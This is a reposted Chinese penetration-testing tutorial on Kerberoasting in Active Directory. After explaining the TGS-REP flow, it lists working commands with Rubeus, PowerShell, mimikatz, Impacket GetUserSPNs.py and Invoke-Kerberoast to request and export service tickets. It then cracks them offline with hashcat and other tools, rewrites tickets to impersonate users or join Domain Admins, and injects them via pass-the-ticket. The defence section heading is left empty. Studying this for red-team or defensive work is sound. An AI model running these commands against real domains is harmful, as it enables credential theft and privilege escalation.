以下文章来源于安全加 ,作者谢公子
作者:谢公子
CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。
Kerberoast攻击
kerberoast攻击发生在kerberos协议的TGS_REP阶段,关于kerberos协议详情,传送门:内网渗透 | 域内认证之Kerberos协议详解
Kerberoast攻击过程:
1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。
2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
SPN服务主体名称的发现
请求服务票据
使用Rubeus请求
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。
Rubeus.exe kerberoast
powershell命令请求
请求指定SPN的服务票据
#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
#列出服务票据
klist
mimikatz请求
请求指定SPN的服务票据
#请求服务票据
kerberos::ask /target:MySQL/win7.xie.com:3306
#列出服务票据
kerberos::list
#清除所有票据
kerberos::purge
Impacket中的GetUserSPNS.py请求
该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。
./GetUserSPNs.py -request -dc-ip 192.168.10.131 xie.com/hack
导出服务票据
先查看票据
可以使用以下的命令
klist
或
mimikatz.exe "kerberos::list"
MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list
mimikatz导出
mimikatz.exe "kerberos::list /export" "exit"
执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件
Empire下的Invoke-Kerberoast.ps1
导出Hashcat格式的票据
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
离线破解服务票据
kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi
tgscrack
python2 extractServiceTicketParts.py 1-40a00000-hack\@MySQL~win7.xie.com~3306~MySQL-XIE.COM.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist password.txt
Hashcat
将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下
hashcat64.exe -m 13100 hash.txt pass.txt
服务票据重写&RAM注入
ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
kerberos::ptt PENTESTLAB.kirbi
Kerberoast攻击防范